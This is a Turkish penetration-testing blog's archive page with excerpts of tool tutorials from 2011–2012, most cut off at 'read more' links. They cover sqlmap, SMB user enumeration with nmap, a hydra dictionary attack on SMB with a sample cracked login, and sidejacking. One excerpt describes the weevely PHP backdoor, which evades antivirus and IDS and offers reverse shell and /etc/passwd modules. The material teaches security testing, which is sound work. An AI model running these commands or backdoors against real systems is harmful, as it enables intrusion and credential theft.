arşiv

‘Güvenlik Araçları’ kategorisi için arşiv

SQL Injection Saldırılarında SqlMap Kullanımı

Cumartesi, 18 Şub 2012 yorum yok
Sqlmap yazılımı veri tabanlarına yapılan Sql Injection saldırılarını gerçekleştirmek için python ile gelişitirilmiş bir araçtır.  Sql Injection saldırılarının “and 1=1” den ibaret olmadığının en güzel kanıtlarından birisi olan sqlmap yazılımına biraz yakından bakıldığında, gerçekten çok geniş ve gelişmiş özellikleri olduğu fark edilmektedir.

Sqlmap Kurulumu

http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz link üzerinden download edebilir yahut Ubuntu repolarından “apt-get install sqlmap” komutu ile yazılımı kurulabilir.

Ardından sqlmap’e ait upgradeleri kurmak için devamını oku…

Firewall/NAT Korumalı Sistemleri Dış Dünyaya Açma

Pazartesi, 06 Şub 2012 yorum yok

NAT/Router/Firewall arkasındaki bir sistem dış dünyaya tamamen kapalıdır. Dışardan yalnızca izin verilen portlara bağlantı  kurulabilir. Pentest çalışmalarında, hedef network’den ele geçirdiğiniz bir sistemi dış dünyaya açmak (rdp,vnc,ssh vb.) diğer pentest ekibi ile paylaşmanız gerektiğinde kullanabileceğiniz teknikler kısıtlıdır.

 

Firewall atlatmak, ters bağlantı methodu destekleyen yazılım bulmak ciddi maliyettir. devamını oku…

Linux Sistemlerde Memory (RAM) Imajı Almak

Pazartesi, 23 Oca 2012 yorum yok

Fmem, linux sistemlerde RAM imajını almak için kullanılan bir forensic aracıdır.
Bir kernel modülü olarak çalışır.Sisteme sürü olarak yüklenir ve /dev/fmem dizininde bulunur.Tıpkı /dev/mem gibidir fakat bir limit yoktur (1MB/1GB dağıtıma bağlı olarak)

Kurulumu
wget http://hysteria.sk/~niekt0/foriana/fmem_current.tgz

tar zxvf fmem_current.tgz

cd fmem_1.6-0

# make
rm -f *.o *.ko *.mod.c Module.symvers Module.markers modules.order \.*.o.cmd \.*.ko.cmd \.*.o.d
rm -rf \.tmp_versions
make -C /lib/modules/`uname -r`/build SUBDIRS=`pwd` modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.38-11-generic’
CC [M] /root/fmem_1.6-0/lkm.o
LD [M] /root/fmem_1.6-0/fmem.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/fmem_1.6-0/fmem.mod.o
LD [M] /root/fmem_1.6-0/fmem.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.38-11-generic’ devamını oku…

İç Ağda Kullanıcı Hesaplarını Belirleme

Pazartesi, 16 Oca 2012 yorum yok

İç ağ testlerinde gerçekleştilen testlerden bir tanesi de ağda ilgili kullanıcı isimlerinin belirlenmesi olmaktadır. Bu işlem Nmap ile gerçekleştirilebilmektedir. 192.168.1.0 ağı için bu adımın gerçekleştirilmesi aşağıdaki şekilde olmaktadır.

Öncelikle aktif ip adreslerinin tespit edilmesi gerekmektedi, bunun için;

1
2
# nmap -p139,445 -n 192.168.1.1-254 --open | grep -B3 "open" | grep -E 
"[0-9]+\.[0-9]+\.[0-9]+\." | awk '{print $5}' > ipler.txt

1
2
# nmap -p139,445 -n 192.168.1.1-254 --script=smb-enum-users
-iL ipler.txt > nmap-users.txt

Bu işlemlerin ardından dosya içerisinden kullanıcı isimleri  temin edilmelidir.

1
2
# cat nmap-users.txt |grep -v \\"$" | grep -v Tmpl |grep RID |cut -d
"\\" -f2 |cut -d"(" -f1 |sed 's/.$//'|sed -e 's/\(.* \)/\L\1/' " sort -rn | uniq > usernames.txt

Görüldüğü gibi kullanıcı isimleri ve aktif olan ip adresleri tespit edilmektedir. Bundan sonraki adım sözlük saldırısı ile bu kullanıcıların parola bilgilerinin elde edilmesi olacaktır. Bunun için hydra veya alternatif yazılımlar kullanılabilir. Hydra ile bu işlem aşağıdaki şekilde gerçekleştirilmektedir.

1
2
# hydra -M ipler.txt smbnt -s445 -L usernames.txt -P
passwd_file.txt -t1 -e n -m D > sonuc.txt

passwd_file.txt dosyası sözlük saldırısı için kullanılacak olan sözlüğü belirtmektedir. sonuc.txt dosyası içerisinden başarılı olan denemeler aşağıdaki gibi görülmektedir.

1
# cat sonuc.txt | grep "\[smb\]" | awk '{print $3,$5,$7}'

1
192.168.1.37 ahmet.mehmet test37

Görüldüğü gibi başarılı olarak sonuçlanan kullanıcı adı/parola bilgisi yukarıdaki gibi olmaktadır.

Ömer ALBAYRAK

Pentest Çalışmalarında OWA(Outlook Web Access) Hesaplarını Bulma

Pazar, 18 Ara 2011 yorum yok

Microsoft OWA(Outlook Web Access) kurumsal ortamlarda en fazla tercih edilen webmail uygulaması olarak karşımıza çıkmaktadır. Günümüz iş dünyasının en temel iletişim araçlarından birinin e-posta(mail olduğu düşünülürse dışarı açık OWA sistemlerinin büyük risk taşıdığı aşikardır.

Ele geçirilecek bir mail hesabı sadece sahibinin güvenliğini değil şirketin güvenliğini de tehlikeye atmaktadır. Basit mantıkla düşünülecek olursa ele geçirilmiş bir meil hesabı  üzerinden hem sosyal mühendislik saldırıları hem de şirket çalışanlarının tüm özlük bilgileri sızdırılabilir.

Bu nedenle pentest çalışmalarında e-posta hesaplarının tahmin yöntemiyle ele geçirilmesi adımı önemli rol oynamaktadır.  devamını oku…

Web Attack Post Exploitation

Pazartesi, 21 Kas 2011 yorum yok

 

Uzak web sunuculara güvenlik açığından faydalanarak sızıldığında erişimin devam ettirilmesi için web tabanlı bir ajana ihtiyaç duyulur. Farklı dillerde (php, asp, java, .net, cgi vb.) yazılmış çeşitli yazılımlar mevcut. En popüler ve bilinen yazılımlar arasında, c99, r57, Aspxspy vb. scriptler bulunuyor. Hemen hemen hepsinin sorun yaşatan ortak yanı, Antivirus ve IPS ler tarafından tanınması ve çeşitli güvenlik ilkelerini (php disable_function gibi) bypass edememesi.

Daha önce buradaki yazımızda, meterpreter ile farklı web platformları için payload oluşturmakdan ve antivirusler tarafından tananınmamasını sağlamak üzere encoding tekniklerinden bahsetmiştik.
http://blog.bga.com.tr/beyaz-sapkali-hackerceh/asp-encode-ile-reverse-shell-msfencode
http://blog.bga.com.tr/beyaz-sapkali-hackerceh/php-reverse-shell-meterpreter

Bu yazıda, pratik olarak weevely php backdoor ile benzeri uygulamalar yer almaktadır.
weevely telnet benzeri bağlantı türünü destekleyen ve göze çarpmayan bir php backdoor ugulamasıdır. Web saldırılarında, erişimi sürdürmek ve sistemde ilerlemek için çeşitli post explotion tekniklerini içerir. Antivirusler tarafından tanınmamaktadır. Veri transferini HTTP Refferer değerleri üzerinden şifreli ilettiği için NIDS, IPS, WAF benzeri sistemler tanıyamamaktadır.

Desteklediği Moduller;

  • :shell.sh Sistem komutlarını sh kabuğunda çalıştırır.
  • :shell.php PHP komutlarını uzak sistemde çalıştırır.
  • :file.upload Hedefin dosya sistemine dosya upload eder.
  • :file.download Hedefin dosya sisteminden dosya download eder.
  • :find.* Dosya adı, yetkiler, suid/sgid bayrakları bulur.
  • :backdoor.reverse_tcp Reverse TCP shell açar.
  • :enum.users Hedef sistemdeki kullanıcıları veya /etc/passwd içeriğini getirir.
  • :enum.user_files home ve public_html dizinlerindeki dosyaları listeler
  • :system.info Hedef  Hedef sistem hakkında bilgi toplar devamını oku…

[İpucu] Diskteki True Crypt Şifreli Alanları Bulma

Pazartesi, 31 Eki 2011 yorum yok

TcHunt  yazılımı çeşitli yöntemler kullanarak disk üzerinde True Crypt yazılımı kullanılarak şifrelenmiş alanları bulmaktadır.

Sidejacking İçin Fetter ve Hamster Kurulumu

Cumartesi, 18 Haz 2011 yorum yok

Sidejacking, ağ tabanlı bir saldırı yöntemidir. Aktif bir bağlantıya ait oturumu çalmayı hedefler.

Örnek olarak; Kimlik doğrulamalı (kullanıcı adı ve parola) bir web mail servisine erişim kuran kullanıcının aktif session bilgisini çalıp aynı oturuma dahil olmak sidejaking olarak tasvif edilir.Bu saldırı türünü, linux sistemlerde uygulamak için kullanılan ikili “Hamster” ve “Ferret”; devamını oku…

Yerel Ağlarda Router ve Gateway Cihazlarının Tespiti

Salı, 14 Haz 2011 yorum yok

Yerel ağlarda, farklı ağları haberleştiren routerları ve internet dünyasına açılan kapıları (gateway) bulmak için ettercap yazılımının gw_discover eklentisi kullanılabilir. Belirtilen bir hedefin belirtilen portuna ulaşmak için yerel ağlardaki ip adreslerini atlama noktası olarak kullanarak gateway tespit aşağıdaki şekilde yapılabilir;

# ettercap -T -i wlan0 -P gw_discover //192.168.1.1-254

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Dissector “dns” not supported (etter.conf line 70)
Listening on wlan0… (Ethernet)

wlan0 ->    48:5D:60:81:9F:7B     192.168.1.172     255.255.255.0

SSL dissection needs a valid ‘redir_command_on’ script in the etter.conf file
Privileges dropped to UID 65534 GID 65534…

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
devamını oku…

Layer 2 Network Keşif Çalışmaları

Salı, 07 Haz 2011 yorum yok

Firewall’lar ve Aktif ağ cihazları ICMP paketlerine genellikle yanıt vermezler ve Host/Network keşif çalışmalarını Firewall, IDS vb. sistemler rahatlıkla tespit eder, engellerler.

Örnek Uygulama,
192.168.1.155 ip adresi firewall arkasındadır  ve icmp ping paketlerine yanıt vermiyor. Ayrıca snort saldırı tespit ve engelleme sistemi klasik port tarama araçlarını ve tekniklerini engelliyor.

ICMP mesajları firewall ve Saldırı tespit sistemi tarafından engellendi.

Snort ekran görüntüsü,

Diğer IP katmanlarına erişim oladığı bu durumlarda ARP paketleri üretilerek Layer 2 seviyesinde host/network keşfi yapılır.
Firewall arkasındaki sistemlerde bu şekilde tespit edilebilinir.

devamını oku…